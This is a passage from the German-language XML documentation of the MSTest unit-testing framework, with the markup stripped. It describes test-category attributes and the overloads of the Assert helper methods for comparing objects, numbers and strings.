der -Klasse und wendet die Kategorie auf den Test an. - - - Die test-Kategorie. - - - - - Ruft die Testkategorien ab, die auf den Test angewendet wurden. - - - - - Die Basisklasse für das Category-Attribut. - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - Initialisiert eine neue Instanz der -Klasse. - Wendet die Kategorie auf den Test an. Die von TestCategories - zurückgegebenen Zeichenfolgen werden mit dem Befehl "/category" zum Filtern von Tests verwendet. - - - - - Ruft die Testkategorie ab, die auf den Test angewendet wurde. - - - - - Die AssertFailedException-Klasse. Wird zum Angeben eines Fehlers für einen Testfall verwendet. - - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Meldung. - Die Ausnahme. - - - - Initialisiert eine neue Instanz der -Klasse. - - Die Meldung. - - - - Initialisiert eine neue Instanz der -Klasse. - - - - - Eine Sammlung von Hilfsklassen zum Testen verschiedener Bedingungen in - Komponententests. Wenn die getestete Bedingung nicht erfüllt wird, wird eine Ausnahme - ausgelöst. - - - - - Ruft die Singleton-Instanz der Assert-Funktionalität ab. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Testet, ob die angegebene Bedingung TRUE ist, und löst eine Ausnahme aus, - wenn die Bedingung FALSE ist. - - - Die Bedingung, von der der Test erwartet, dass sie TRUE ist. - - - Thrown if is false. - - - - - Testet, ob die angegebene Bedingung TRUE ist, und löst eine Ausnahme aus, - wenn die Bedingung FALSE ist. - - - Die Bedingung, von der der Test erwartet, dass sie TRUE ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - FALSE ist. Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is false. - - - - - Testet, ob die angegebene Bedingung TRUE ist, und löst eine Ausnahme aus, - wenn die Bedingung FALSE ist. - - - Die Bedingung, von der der Test erwartet, dass sie TRUE ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - FALSE ist. Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is false. - - - - - Testet, ob die angegebene Bedingung FALSE ist, und löst eine Ausnahme aus, - wenn die Bedingung TRUE ist. - - - Die Bedingung, von der der Test erwartet, dass sie FALSE ist. - - - Thrown if is true. - - - - - Testet, ob die angegebene Bedingung FALSE ist, und löst eine Ausnahme aus, - wenn die Bedingung TRUE ist. - - - Die Bedingung, von der der Test erwartet, dass sie FALSE ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist TRUE. Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is true. - - - - - Testet, ob die angegebene Bedingung FALSE ist, und löst eine Ausnahme aus, - wenn die Bedingung TRUE ist. - - - Die Bedingung, von der der Test erwartet, dass sie FALSE ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist TRUE. Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is true. - - - - - Testet, ob das angegebene Objekt NULL ist, und löst eine Ausnahme aus, - wenn dies nicht der Fall ist. - - - Das Objekt, von dem der Test erwartet, dass es NULL ist. - - - Thrown if is not null. - - - - - Testet, ob das angegebene Objekt NULL ist, und löst eine Ausnahme aus, - wenn dies nicht der Fall ist. - - - Das Objekt, von dem der Test erwartet, dass es NULL ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht NULL. Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is not null. - - - - - Testet, ob das angegebene Objekt NULL ist, und löst eine Ausnahme aus, - wenn dies nicht der Fall ist. - - - Das Objekt, von dem der Test erwartet, dass es NULL ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht NULL. Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not null. - - - - - Testet, ob das angegebene Objekt ungleich NULL ist, und löst eine Ausnahme aus, - wenn es NULL ist. - - - Das Objekt, von dem der Test erwartet, dass es ungleich NULL ist. - - - Thrown if is null. - - - - - Testet, ob das angegebene Objekt ungleich NULL ist, und löst eine Ausnahme aus, - wenn es NULL ist. - - - Das Objekt, von dem der Test erwartet, dass es ungleich NULL ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist NULL. Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is null. - - - - - Testet, ob das angegebene Objekt ungleich NULL ist, und löst eine Ausnahme aus, - wenn es NULL ist. - - - Das Objekt, von dem der Test erwartet, dass es ungleich NULL ist. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist NULL. Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is null. - - - - - Testet, ob die angegebenen Objekte beide auf das gleiche Objekt verweisen, und - löst eine Ausnahme aus, wenn die beiden Eingaben nicht auf das gleiche Objekt verweisen. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, den der Test erwartet. - - - Das zweite zu vergleichende Objekt. Dies ist der Wert, der vom getesteten Code generiert wird. - - - Thrown if does not refer to the same object - as . - - - - - Testet, ob die angegebenen Objekte beide auf das gleiche Objekt verweisen, und - löst eine Ausnahme aus, wenn die beiden Eingaben nicht auf das gleiche Objekt verweisen. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, den der Test erwartet. - - - Das zweite zu vergleichende Objekt. Dies ist der Wert, der vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht identisch mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if does not refer to the same object - as . - - - - - Testet, ob die angegebenen Objekte beide auf das gleiche Objekt verweisen, und - löst eine Ausnahme aus, wenn die beiden Eingaben nicht auf das gleiche Objekt verweisen. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, den der Test erwartet. - - - Das zweite zu vergleichende Objekt. Dies ist der Wert, der vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht identisch mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if does not refer to the same object - as . - - - - - Testet, ob die angegebenen Objekte beide auf das gleiche Objekt verweisen, und - löst eine Ausnahme aus, wenn die beiden Eingaben nicht auf das gleiche Objekt verweisen. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Das zweite zu vergleichende Objekt. Dies ist der Wert, der vom getesteten Code generiert wird. - - - Thrown if refers to the same object - as . - - - - - Testet, ob die angegebenen Objekte beide auf das gleiche Objekt verweisen, und - löst eine Ausnahme aus, wenn die beiden Eingaben nicht auf das gleiche Objekt verweisen. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Das zweite zu vergleichende Objekt. Dies ist der Wert, der vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist identisch mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if refers to the same object - as . - - - - - Testet, ob die angegebenen Objekte beide auf das gleiche Objekt verweisen, und - löst eine Ausnahme aus, wenn die beiden Eingaben nicht auf das gleiche Objekt verweisen. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Das zweite zu vergleichende Objekt. Dies ist der Wert, der vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist identisch mit . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if refers to the same object - as . - - - - - Testet, ob die angegebenen Werte gleich sind, und löst eine Ausnahme aus, - wenn die beiden Werte nicht gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - The type of values to compare. - - - Der erste zu vergleichende Wert. Dies ist der Wert, den der Test erwartet. - - - Der zweite zu vergleichende Wert. Dies ist der Wert, der vom zu testenden Code generiert wird. - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Werte gleich sind, und löst eine Ausnahme aus, - wenn die beiden Werte nicht gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - The type of values to compare. - - - Der erste zu vergleichende Wert. Dies ist der Wert, den der Test erwartet. - - - Der zweite zu vergleichende Wert. Dies ist der Wert, der vom zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Werte gleich sind, und löst eine Ausnahme aus, - wenn die beiden Werte nicht gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - The type of values to compare. - - - Der erste zu vergleichende Wert. Dies ist der Wert, den der Test erwartet. - - - Der zweite zu vergleichende Wert. Dies ist der Wert, der vom zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Werte ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Werte gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - The type of values to compare. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Der zweite zu vergleichende Wert. Dies ist der Wert, der vom zu testenden Code generiert wird. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Werte ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Werte gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - The type of values to compare. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Der zweite zu vergleichende Wert. Dies ist der Wert, der vom zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Werte ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Werte gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - The type of values to compare. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Der zweite zu vergleichende Wert. Dies ist der Wert, der vom zu testenden Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Objekte gleich sind, und löst eine Ausnahme aus, - wenn die beiden Objekte nicht gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - Das erste zu vergleichende Objekt. Dies ist das Objekt, das der Test erwartet. - - - Das zweite zu vergleichende Objekt. Dies ist das Objekt, das vom getesteten Code generiert wird. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Objekte gleich sind, und löst eine Ausnahme aus, - wenn die beiden Objekte nicht gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - Das erste zu vergleichende Objekt. Dies ist das Objekt, das der Test erwartet. - - - Das zweite zu vergleichende Objekt. Dies ist das Objekt, das vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Objekte gleich sind, und löst eine Ausnahme aus, - wenn die beiden Objekte nicht gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - Das erste zu vergleichende Objekt. Dies ist das Objekt, das der Test erwartet. - - - Das zweite zu vergleichende Objekt. Dies ist das Objekt, das vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Objekte ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Objekte gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Das zweite zu vergleichende Objekt. Dies ist das Objekt, das vom getesteten Code generiert wird. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Objekte ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Objekte gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Das zweite zu vergleichende Objekt. Dies ist das Objekt, das vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Objekte ungleich sind, und löst eine Ausnahme aus, - wenn die beiden Objekte gleich sind. Verschiedene numerische Typen werden selbst dann als ungleich - behandelt, wenn die logischen Werte gleich sind. 42L ist nicht gleich 42. - - - Das erste zu vergleichende Objekt. Dies ist der Wert, von dem der Test keine - Übereinstimmung erwartet. . - - - Das zweite zu vergleichende Objekt. Dies ist das Objekt, das vom getesteten Code generiert wird. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Gleitkommawerte gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Der erste zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, den der Test erwartet. - - - Der zweite zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um mehr als . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Gleitkommawerte gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Der erste zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, den der Test erwartet. - - - Der zweite zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um mehr als . - - - Die in die Ausnahme einzuschließende Meldung, wenn - sich unterscheidet von um mehr als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Gleitkommawerte gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Der erste zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, den der Test erwartet. - - - Der zweite zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um mehr als . - - - Die in die Ausnahme einzuschließende Meldung, wenn - sich unterscheidet von um mehr als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Gleitkommawerte ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Der erste zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, für den der Test keine Übereinstimmung - erwartet. . - - - Der zweite zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um höchstens . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Gleitkommawerte ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Der erste zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, für den der Test keine Übereinstimmung - erwartet. . - - - Der zweite zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um höchstens . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich oder sich unterscheidet um weniger als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Gleitkommawerte ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Der erste zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, für den der Test keine Übereinstimmung - erwartet. . - - - Der zweite zu vergleichende Gleitkommawert. Dies ist der Gleitkommawert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um höchstens . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich oder sich unterscheidet um weniger als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Double-Werte gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Der erste zu vergleichende Double-Wert. Dies ist der Double-Wert, den der Test erwartet. - - - Der zweite zu vergleichende Double-Wert. Dies ist der Double-Wert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um mehr als . - - - Thrown if is not equal to - . - - - - - Testet, ob die angegebenen Double-Werte gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Der erste zu vergleichende Double-Wert. Dies ist der Double-Wert, den der Test erwartet. - - - Der zweite zu vergleichende Double-Wert. Dies ist der Double-Wert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um mehr als . - - - Die in die Ausnahme einzuschließende Meldung, wenn - sich unterscheidet von um mehr als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Double-Werte gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Der erste zu vergleichende Double-Wert. Dies ist der Double-Wert, den der Test erwartet. - - - Der zweite zu vergleichende Double-Wert. Dies ist der Double-Wert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um mehr als . - - - Die in die Ausnahme einzuschließende Meldung, wenn - sich unterscheidet von um mehr als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Double-Werte ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Der erste zu vergleichende Double-Wert. Dies ist der Double-Wert, für den der Test keine Übereinstimmung - erwartet. . - - - Der zweite zu vergleichende Double-Wert. Dies ist der Double-Wert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um höchstens . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Double-Werte ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Der erste zu vergleichende Double-Wert. Dies ist der Double-Wert, für den der Test keine Übereinstimmung - erwartet. . - - - Der zweite zu vergleichende Double-Wert. Dies ist der Double-Wert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um höchstens . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich oder sich unterscheidet um weniger als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Double-Werte ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Der erste zu vergleichende Double-Wert. Dies ist der Double-Wert, für den der Test keine Übereinstimmung - erwartet. . - - - Der zweite zu vergleichende Double-Wert. Dies ist der Double-Wert, der vom getesteten Code generiert wird. - - - Die erforderliche Genauigkeit. Eine Ausnahme wird nur ausgelöst, wenn - sich unterscheidet von - um höchstens . - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich oder sich unterscheidet um weniger als - . Die Meldung wird in den Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. Die invariante Kultur wird für den Vergleich verwendet. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die der Test erwartet. - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. Die invariante Kultur wird für den Vergleich verwendet. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die der Test erwartet. - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. Die invariante Kultur wird für den Vergleich verwendet. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die der Test erwartet. - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die der Test erwartet. - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Ein CultureInfo-Objekt, das kulturspezifische Vergleichsinformationen bereitstellt. - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die der Test erwartet. - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Ein CultureInfo-Objekt, das kulturspezifische Vergleichsinformationen bereitstellt. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen gleich sind, und löst eine Ausnahme aus, - wenn sie ungleich sind. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die der Test erwartet. - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Ein CultureInfo-Objekt, das kulturspezifische Vergleichsinformationen bereitstellt. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist nicht gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is not equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. Die invariante Kultur wird für den Vergleich verwendet. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, von der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. Die invariante Kultur wird für den Vergleich verwendet. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, von der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. Die invariante Kultur wird für den Vergleich verwendet. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, von der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Ein zu verwendendes Array von Parametern beim Formatieren von: . - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, von der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Ein CultureInfo-Objekt, das kulturspezifische Vergleichsinformationen bereitstellt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, von der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Ein CultureInfo-Objekt, das kulturspezifische Vergleichsinformationen bereitstellt. - - - Die in die Ausnahme einzuschließende Meldung, wenn - ist gleich . Die Meldung wird in den - Testergebnissen angezeigt. - - - Thrown if is equal to . - - - - - Testet, ob die angegebenen Zeichenfolgen ungleich sind, und löst eine Ausnahme aus, - wenn sie gleich sind. - - - Die erste zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, von der der Test keine - Übereinstimmung erwartet. . - - - Die zweite zu vergleichende Zeichenfolge. Dies ist die Zeichenfolge, die vom getesteten Code generiert wird. - - - Ein boolescher Wert, der einen Vergleich mit oder ohne Beachtung von Groß-/Kleinschreibung angibt. (TRUE - gibt einen Vergleich ohne Beachtung von Groß-/Kleinschreibung an.) - - - Ein 